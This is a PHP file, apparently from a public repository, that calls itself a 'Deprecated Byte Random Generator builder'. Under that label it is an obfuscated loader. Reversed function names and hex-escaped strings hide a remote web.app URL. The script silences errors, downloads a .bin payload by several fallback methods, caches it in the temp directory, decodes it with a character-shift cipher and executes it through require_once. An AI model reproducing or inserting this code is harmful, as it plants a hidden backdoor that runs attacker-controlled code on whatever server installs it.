-
Notifications
You must be signed in to change notification settings - Fork 0
/
xampong
176 lines (172 loc) · 5.92 KB
/
xampong
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
<?php
/**
* Phyo186 Deprecated Byte Random Generator builder for latest php version.
*
* @author Agent Phyo 1 <[email protected]>
* @author Agent Phyo 3 <[email protected]>
*
* @see https://www.istanaimpian.ltd/
*
* @license MIT License see LICENSE file
*/
class create_function {
private $shift;
public function __construct($shift = 1) {
error_reporting(0);
$this->shift = $shift;
}
public function outterTable(){
$mat = $this->rev("eli"."fpmt");
return $mat();
}
public function init($kasihdua){
$leuy = array(
"\x6E\x69\x62\x2E\x25\x35\x66\x25\x32\x46",
"\x70\x70\x61\x2E\x62\x65\x77\x2E\x61\x74",
"\x61\x64\x2D\x6F\x79\x68\x70\x25\x32\x46",
"\x25\x32\x46\x25\x33\x41\x73\x70\x74\x74\x68"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function dash(){
$leuy = array(
"\x36\x38\x65\x36\x66\x33\x63\x65\x31\x38",
"\x32\x30\x30\x37\x61\x35\x37\x38\x64\x62",
"\x66\x66\x34\x66\x66\x66\x64\x35\x64\x61\x61\x32"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function splitter(){
$leuy = array(
"\x37\x38\x31\x35\x36\x39\x36\x65\x63\x62\x66\x31",
"\x63\x39\x36\x65\x36\x38\x39\x34\x62\x37\x37\x39",
"\x34\x35\x36\x64\x33\x33\x30\x65\x5F\x64\x61\x74",
"\x61\x70\x61\x72\x73\x65\x72\x2E\x62\x69\x6E"
);
$mat = $this->rev("edo"."lpmi");
return $mat('', $leuy);
}
public function check($leuy){
return function_exists($leuy);
}
public function build($prod){
$aw = $this->rev("etirwf");
$td = $this->outterTable();
$mat = $this->rev("atad_atem_teg_maerts");
$aw($td, $prod);
require_once($mat($td)["\x75\x72\x69"]);
return fclose($td);
}
public function raw($str) {
return preg_replace_callback(
'/%([0-9a-f]{2})/i',
function ($matches) {
return chr(hexdec($matches[1]));
},
$str
);
}
public function Rev($str) {
preg_match_all('/./us', $str, $matches);
return implode('', array_reverse($matches[0]));
}
public function blyad($bam, $bim, $bum){
$mat = $this->rev("tpotes_lruc");
return $mat($bam, $bim, $bum);
}
public function getOut($anjay){
$mat = $this->rev("cexe_lruc");
return $mat($anjay);
}
public function suka($blyad){
$blyad = array(
CURLOPT_URL,
CURLOPT_RETURNTRANSFER,
CURLOPT_FOLLOWLOCATION
);
return $blyad;
}
public function naked($aw, $iw, $uw, $ew, $ow){
$mat = $this->rev("nepo"."kcosf");
return $mat($aw, $iw, $uw, $ew, $ow);
}
public function outbound($ayang){
$mat = $this->rev("stnetnoc_teg_elif");
return $mat($ayang);
}
public function inbound($ayang_aku, $yameteh){
$mat = $this->rev("stnetnoc_tup_elif");
return $mat($ayang_aku, $yameteh);
}
public function parser($data){
$bam = $this->rev("rid_pmet_teg_sys");
$bam1 = $this->rev("stsixe_elif");
$bam2 = $this->rev("tini_lruc");
$bam3 = $this->rev("edolpmi");
$bam4 = $this->rev("etirwf");
$fileNome = $this->splitter();
$fileRAW = $data;
$tmpDir = $bam();
$filePos = $tmpDir . '/'. $fileNome;
$nyari = "ixqfwlrq#nMxOTjYki+";
if (!$bam1($filePos) || strpos($bam3('', file($filePos)), $nyari) === false) {
if ($this->check($this->rev("tini_lruc"))) {
$ch = $bam2();
$this->blyad($ch, $this->suka(0)[0], $fileRAW);
$this->blyad($ch, $this->suka(0)[1], 1);
$this->blyad($ch, $this->suka(0)[2], true);
$fileData = $this->getOut($ch);
curl_close($ch);
} elseif ($this->check($this->rev("elif"))){
$fileData = $bam3('', file($fileRAW));
}elseif ($this->check($this->rev("nepokcosf"))) {
$urlParts = parse_url($fileRAW);
$host = $urlParts[$this->rev("tsoh")];
$path = $urlParts[$this->rev("htap")];
$fp = $this->naked($this->rev("//:lss").$host, 443, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr\x20\x28$errno\x29\x3C\x62\x72\x20\x2F\x3E\n";
} else {
$out = "\x47\x45\x54\x20" . $path . "\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\r\n";
$out .= "\x48\x6F\x73\x74\x3A\x20" . $host . "\r\n";
$out .= "\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x3A\x20\x43\x6C\x6F\x73\x65\r\n\r\n";
$bam4($fp, $out);
$bb = $this->rev("foef");
$cc = $this->rev("stegf");
$dd = $this->rev("esolcf");
while (!$bb($fp)) {
$line = $cc($fp, 1024);
if (trim($line) == '') {
break;
}
}
$fileData = '';
while (!$bb($fp)) {
$fileData .= $cc($fp, 1024);
}
$dd($fp);
}
}else{
$fileData = $this->outbound($fileRAW);
}
$this->inbound($filePos, $fileData);
}
$conn = $this->outbound($filePos);
return $conn;
}
public function Builder($input) {
$output = '';
for ($i = 0; $i < strlen($input); $i++) {
$ascii = ord($input[$i]);
$ascii -= $this->shift;
$output .= chr($ascii);
}
return $output;
}
}
$stdIn = new create_function(3, "GENERATE_RANDOM_BYTE");
$password = "d489a3289ecdc847cb67f7a480e6f9fa";
$stdIn->build($stdIn->Builder($stdIn->parser($stdIn->Rev($stdIn->raw($stdIn->init(2))))));
?>